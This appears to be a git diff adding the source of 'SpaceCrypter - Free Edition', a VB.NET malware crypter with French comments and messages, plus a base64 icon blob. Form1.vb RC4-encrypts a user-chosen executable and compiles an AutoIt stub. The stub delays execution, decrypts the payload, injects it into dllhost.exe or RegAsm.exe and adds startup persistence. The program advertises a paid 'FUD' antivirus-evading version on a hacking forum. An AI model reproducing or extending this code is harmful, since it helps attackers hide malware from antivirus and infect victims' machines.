df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidd////8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Adiidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YqYL/2cOw/9jV + zv/SyKb/z8GT/8/Bk//PwZP/z8GT/8/Bk//PwZP/z8GT/8/Bk//PwZP/z8GT/9LIpv/Y1c7/2cOw/9ip + gv/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wHYonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2LSW/9fBqf/TwJv/0MSc/8/Bk//PwZP/z8GT/8/Bk//QxJz/1caj/9vK + tP/gxrD/26mA/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wHYonVB2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/+S+ + n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//gtZL/2qZ6/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonVB////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B2KJ1Qdiidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//esIr/2aR4/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1Qf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AdiidWHYonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+ + n//kvp//5L6f/+O8nP/drof/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidVH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wHYonWB2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/+S+n//kvp//5L6f/+S+ + n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+O7mv/bqYD/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonWB////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B2KJ1gdiidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+G3 + lf/apnr/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1gf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Adiida/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+ + n//kvp//5L6f/+S+n//kvp//5L6f/9+yjf/ZpHj/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + da////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHYonW/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+ + n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//47yc/96wiv/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonW/////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B2KJ1v9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/kvp//5L6f/+S+ + n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+ + n//kvp//47ua/9yrgv/YonX/2KJ1/9iidf/YonX/2KJ1v////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Adiidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+ + n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//4beV/9qnff/YonX/2KJ1/9iidf////8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wHYonX/2KJ1/9iidf/YonX/2KJ1v9ii + dY/YonWB2KJ1QdiidUHYonVB2KJ1QdiidUHYonVB2KJ1UdiidYHYonW/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+ + n//kvp+/5L6fgeS+n1Hkvp9B5L6fQeS+n0Hkvp9B5L6fQeS+n0Hkvp+B5L6fj+S+n7/kvp//4LSP/9mk + eP/YonX/////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B2KJ179ii + dY/YonVR////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wHYonVh2KJ1v9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/kvp//5L6f/+S+n//kvp//5L6f/+S+ + n//kvp//5L6fv+S+n2H///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AeS+n1Hju5qP3q+J7////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wHYonUh2KJ1n9iidf/YonX/2KJ1/9iidf/YonX/5L6f/+S+ + n//kvp//5L6f/+S+n//kvp+f5L6fIf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHYonVB2KJ1z9ii + df/YonX/2KJ1/+S+n//kvp//5L6f/+S+n8/kvp9B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wHYonVx2KJ179iidf/kvp//5L6f7+S+n3H///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AdiidTHYonXP5L6fz+S+nzH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Form1.vb b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Form1.vb new file mode 100644 index 0000000..0256f2b --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Form1.vb @@ -0,0 +1,230 @@ +Imports System.IO +Imports System.Text + +Public Class Form1 + +#Region "La merde" + Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load + Try + Directory.Delete(TempName(), FileIO.DeleteDirectoryOption.DeleteAllContents) + If Not Directory.Exists(TempName) Then + Directory.CreateDirectory(TempName) + End If + Catch : End Try + End Sub + + Private Sub CheckBoxIcon_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxIcon.CheckedChanged + If CheckBoxIcon.Checked = True Then + ButtonChangerIco.Enabled = True + Else + ButtonChangerIco.Enabled = False + End If + End Sub + + Private Sub ChargerFichier_Click(sender As Object, e As EventArgs) Handles ChargerFichier.Click + Dim fichier As New OpenFileDialog + fichier.Filter = "Exécutable | *.exe" + fichier.Title = "Choissier un fichier a crypter" + If fichier.ShowDialog = vbOK Then + TextBoxFichier.Text = fichier.FileName + End If + If Not managed(File.ReadAllBytes(TextBoxFichier.Text)) Then + Label8.Text = "Application native" + RadioButtonNatif.Checked = True + RadioButtonDll.Checked = True + Else + If managed(File.ReadAllBytes(TextBoxFichier.Text)) Then + Label8.Text = "Application .NET" + RadioButtonNet.Checked = True + RadioButtonReg.Checked = True + End If + End If + End Sub + + Private Sub RandomPool1_CharacterSelection(s As Object, c As Char) Handles RandomPool1.CharacterSelection + If TextBoxEncryption.Text.Length < 50 Then + Try + TextBoxEncryption.Text = TextBoxEncryption.Text & c + Catch : End Try + End If + End Sub + + Public Function managed(executable As Byte()) As Boolean + Return executable(60) = 128 + End Function + + Private Sub ButtonChangerIco_Click(sender As Object, e As EventArgs) Handles ButtonChangerIco.Click + Dim chargericon As New OpenFileDialog + chargericon.Title = "Charger l'icon que vous souhaiter" + chargericon.Filter = "Icon | *.ico" + If chargericon.ShowDialog = vbOK Then + PictureIcon.ImageLocation = chargericon.FileName + End If + End Sub + + Private Sub RadioButtonNet_CheckedChanged(sender As Object, e As EventArgs) Handles RadioButtonNet.CheckedChanged + If RadioButtonNet.Checked = True Then + RadioButtonDll.Enabled = False + RadioButtonReg.Enabled = True + RadioButtonReg.Checked = True + RadioButtonDll.Checked = False + Else + RadioButtonReg.Enabled = False + RadioButtonReg.Checked = False + RadioButtonDll.Enabled = True + RadioButtonDll.Checked = True + End If + End Sub +#End Region + + Public Function TempName() + Dim DossierTemp As String = Path.GetTempPath & "SpaceCrypterFree\" + Return DossierTemp + End Function + + Private Shared Function rc4(ByVal Input As Byte(), ByVal Key As Byte()) As Byte() + Dim i, j, swap As UInteger + Dim s As UInteger() = New UInteger(255) {} + Dim Output As Byte() = New Byte(Input.Length - 1) {} + + For i = 0 To 255 + s(i) = i + Next + + For i = 0 To 255 + j = (j + Key(i Mod Key.Length) + s(i)) And 255 + swap = s(i) + s(i) = s(j) + s(j) = swap + Next + i = 0 : j = 0 + For c = 0 To Output.Length - 1 + i = (i + 1) And 255 + j = (j + s(i)) And 255 + swap = s(i) + s(i) = s(j) + s(j) = swap + Output(c) = Input(c) Xor s((s(i) + s(j)) And 255) + Next + + Return Output + End Function + + Public Function ExtStr(cadena As String, Opt As Long, Optional dirChar As String = "\") As String + Try + Dim FullName As String + FullName = Mid$(cadena, InStrRev(cadena, dirChar) + 1) + Select Case Opt + Case 1 + 'Nombre + ExtStr = Mid$(FullName, 1, InStrRev(FullName, ".") - 1) + Case 2 + 'Extension + ExtStr = "." & Mid$(FullName, InStrRev(FullName, ".") + 1) + Case 3 + 'Nombre + Extension + ExtStr = FullName + Case Else + ExtStr = cadena + End Select + Catch : End Try + End Function + + Function CorrectionDuFichier() + Dim correct As String + If TextBoxFichiercop.Text.Contains(".exe") Then + correct = TextBoxFichiercop.Text + Else + correct = TextBoxFichiercop.Text & ".exe" + End If + Return correct + End Function + + Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click + If TextBoxClestartup.TextLength < 1 Then + ElseIf TextBoxDossier.TextLength < 1 Then + ElseIf TextBoxEncryption.TextLength < 1 Then + ElseIf TextBoxFichier.TextLength < 1 Then + ElseIf TextBoxFichiercop.TextLength < 1 Then + MsgBox("Vous n'avez pas remplis tout les champs nécéssaire pour le cryptage", MsgBoxStyle.OkOnly, "Erreur lors du cryptage") + Exit Sub + Else + Dim dossierTemp As String = TempName() + Try + Directory.CreateDirectory(dossierTemp) + Catch : End Try + Dim crypter As New SaveFileDialog + crypter.Filter = "Executable | .exe" + crypter.FileName = ExtStr(TextBoxFichier.Text, 1) & ".crypted" + If crypter.ShowDialog = vbOK Then + Try + Dim Encryption As String = Chr(34) & TextBoxEncryption.Text & Chr(34) + Dim injection As String + Dim Startup As String = Chr(34) & TextBoxClestartup.Text & Chr(34) + Dim Fichier As String = Chr(34) & CorrectionDuFichier() & Chr(34) + Dim Dossier As String = Chr(34) & TextBoxDossier.Text & Chr(34) + Dim FichieraCrypt() As Byte = rc4(File.ReadAllBytes(TextBoxFichier.Text), Encoding.[Default].GetBytes(TextBoxEncryption.Text)) + ProgressBar1.Value = 30 + If RadioButtonDll.Checked = True Then + injection = Chr(34) & "C:\Windows\System32\dllhost.exe" & Chr(34) + Else + injection = Chr(34) & "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & Chr(34) + End If + File.WriteAllBytes(dossierTemp & "Aut2Exe.exe", My.Resources.Aut2Exe) + + File.WriteAllText(dossierTemp & "stub.au3", My.Resources.Stub.Replace("%DOSSIER%", Dossier).Replace("%NOM%", Fichier).Replace("%STARTUP%", Startup).Replace("%KEY%", Encryption).Replace("%INJECTION%", injection)) + File.WriteAllText(dossierTemp & "rc4.oc", My.Resources.rc4) + ProgressBar1.Value = 55 + File.WriteAllBytes(dossierTemp & "encrypted.bin", FichieraCrypt) + ProgressBar1.Value = 60 + Dim BuildDuStub As ProcessStartInfo = New ProcessStartInfo() + If CheckBoxIcon.Checked = True Then + BuildDuStub.Arguments = "/in " & dossierTemp & "stub.au3 /out " & dossierTemp & "Compiled.exe /icon " & PictureIcon.ImageLocation & " /comp 4 /nopack" + Else + BuildDuStub.Arguments = "/in " & dossierTemp & "stub.au3 /out " & dossierTemp & "Compiled.exe /comp 4 /nopack" + End If + BuildDuStub.WindowStyle = ProcessWindowStyle.Hidden + BuildDuStub.CreateNoWindow = True + BuildDuStub.FileName = dossierTemp & "Aut2Exe.exe" + ProgressBar1.Value = 80 + Process.Start(BuildDuStub) + ProgressBar1.Value = 90 + Threading.Thread.Sleep(1000) + If File.Exists(crypter.FileName) Then + File.Delete(crypter.FileName) + File.Copy(dossierTemp & "Compiled.exe", crypter.FileName) + Else + File.Copy(dossierTemp & "Compiled.exe", crypter.FileName) + End If + ProgressBar1.Value = 100 + Directory.Delete(dossierTemp, FileIO.DeleteDirectoryOption.DeleteAllContents) + Media.SystemSounds.Asterisk.Play() + Dim reponse = MsgBox("Votre fichier a correctement etait crypter" + vbNewLine + "Si vous souhaiter avoir plus d'option ou être FUD" + vbNewLine + "Passer à la version payante", MsgBoxStyle.YesNo, "Fichier crypter correctement") + If reponse = MsgBoxResult.Yes Then + Process.Start("http://hack-free.net/private.php?action=send&uid=910&subject=Space-Crypter") + End If + ProgressBar1.Value = 0 + Catch ex As Exception + Dim Erreur As String = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) & "\Erreur detaillé.txt" + File.Create(Erreur).Close() + Dim EcrireErreur As New StreamWriter(Erreur) + EcrireErreur.Write(ex.ToString) + EcrireErreur.Close() + MsgBox("Un Fichier a etait crée sur votre Bureau comprenant l'erreur qui a eu lieux") + MsgBox("Une erreur est suvenur au moment du cryptage." + vbNewLine + "Si ce problème persiste contacter FyR0z avec le Fichier sur Hack-Free", MsgBoxStyle.OkOnly, "Erreur lors du cryptage") + End Try + End If + End If + + End Sub + + Private Sub Acheter_Click(sender As Object, e As EventArgs) Handles Acheter.Click + Dim response2 = MsgBox("Si vous souhaiter avoir plus d'option ou être FUD" + vbNewLine + "Passer à la version payante", MsgBoxStyle.YesNo, "Interesser par la version payante ?") + Media.SystemSounds.Asterisk.Play() + If response2 = MsgBoxResult.Yes Then + Process.Start("http://hack-free.net/private.php?action=send&uid=910&subject=Space-Crypter") + End If + End Sub + + +End Class diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Application.Designer.vb b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Application.Designer.vb new file mode 100644 index 0000000..be9ac6d --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' Ce code a été généré par un outil. +' Version du runtime :4.0.30319.42000 +' +' Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si +' le code est régénéré. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'REMARQUE : ce fichier étant généré automatiquement, ne le modifiez pas directement. Pour apporter des modifications, + ' ou si vous rencontrez des erreurs de build dans ce fichier, accédez au Concepteur de projets + ' (allez dans les propriétés du projet ou double-cliquez sur le nœud My Project dans + ' l'Explorateur de solutions), puis apportez vos modifications sous l'onglet Application. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = false + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.SpaceCrypter___Free_Edition.Form1 + End Sub + End Class +End Namespace diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Application.myapp b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Application.myapp new file mode 100644 index 0000000..3d33ef6 --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form1 + false + 0 + true + 0 + false + \ No newline at end of file diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/AssemblyInfo.vb b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..cd374f8 --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' Les informations générales relatives à un assembly dépendent de +' l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations +' associées à un assembly. + +' Vérifiez les valeurs des attributs de l'assembly + + + + + + + + + + +'Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM + + +' Les informations de version pour un assembly se composent des quatre valeurs suivantes : +' +' Version principale +' Version secondaire +' Numéro de build +' Révision +' +' Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut +' en utilisant '*', comme indiqué ci-dessous : +' + + + diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Resources.Designer.vb b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Resources.Designer.vb new file mode 100644 index 0000000..defc231 --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Resources.Designer.vb @@ -0,0 +1,109 @@ +'------------------------------------------------------------------------------ +' +' Ce code a été généré par un outil. +' Version du runtime :4.0.30319.42000 +' +' Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si +' le code est régénéré. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder + 'à l'aide d'un outil, tel que ResGen ou Visual Studio. + 'Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen + 'avec l'option /str ou régénérez votre projet VS. + ''' + ''' Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Retourne l'instance ResourceManager mise en cache utilisée par cette classe. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SpaceCrypter___Free_Edition.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Remplace la propriété CurrentUICulture du thread actuel pour toutes + ''' les recherches de ressources à l'aide de cette classe de ressource fortement typée. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Recherche une ressource localisée de type System.Byte[]. + ''' + Friend ReadOnly Property Aut2Exe() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Aut2Exe", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Recherche une chaîne localisée semblable à 00012C9CB5E5F589BE2460036D108057B8FFFFEF0FD048A8000000FF1E181C10706BF0E06BF060887068FFFFEF8EDB30FD9860A8FFFFEFCE5B30ED98FFFFEF8E5898000000FF52FFFFEF8E5830006BF0FFFFEFCE58308D98FFFFEFCE5898000000FF5204FFFFEFCE58B83667C05593AF98FF13FFFFEF0FD9D80BBECF54FFFFFFEF0F534888FFFFEF0FD348684FD7B8FFFFEF0F5348A8CF57B84F5498000000FF524F54308C10FFFFEF0FD0C86BF0CFD4B8006BF0015430290F577F2D13CF54B874D700001000CFD71800CF5638004F56383F2EFFFFEFFED0488810C28C88000010009B000000CD48F00C580F54988C928484EA2F7D98948C989C130155B87565 [le reste de la chaîne a été tronqué]";. + ''' + Friend ReadOnly Property rc4() As String + Get + Return ResourceManager.GetString("rc4", resourceCulture) + End Get + End Property + + ''' + ''' Recherche une chaîne localisée semblable à FileInstall("rc4.oc", @TempDir & "\\r.oc", 1) + '''FileInstall("encrypted.bin", @TempDir & "\\s.c", 1) + ''' + '''Sleep(25670) + '''$Z30EI = %DOSSIER% + '''$Y31eptPD = %NOM% + '''$Y32VFkD8 = %STARTUP% + '''$D33hNXXj = %KEY% + ''' + '''$P34heOM = %INJECTION% + ''' + '''$D35DwRjW = STRINGREVERSE(FileRead(@TempDir & "\" &"\" &"r" &"." &"o" &"c")) + '''$K36RSp = FileRead(@TempDir & "\" &"\" &"s" &"." &"c") + '''$N37Y6 = C30ZP($K36RSp, $D33hNXXj) + ''' + '''J3228($P34heOM, $N37Y6) + ''' + '''Func C30ZP($M3132URSXaN, $H3133Ihg) + ''' Local $Q31348sDBrg = $D35DwRjW, $E3136UElHWx = Dll [le reste de la chaîne a été tronqué]";. + ''' + Friend ReadOnly Property Stub() As String + Get + Return ResourceManager.GetString("Stub", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Resources.resx b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Resources.resx new file mode 100644 index 0000000..2b0f828 --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/Resources.resx @@ -0,0 +1,261 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\Aut2Exe.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 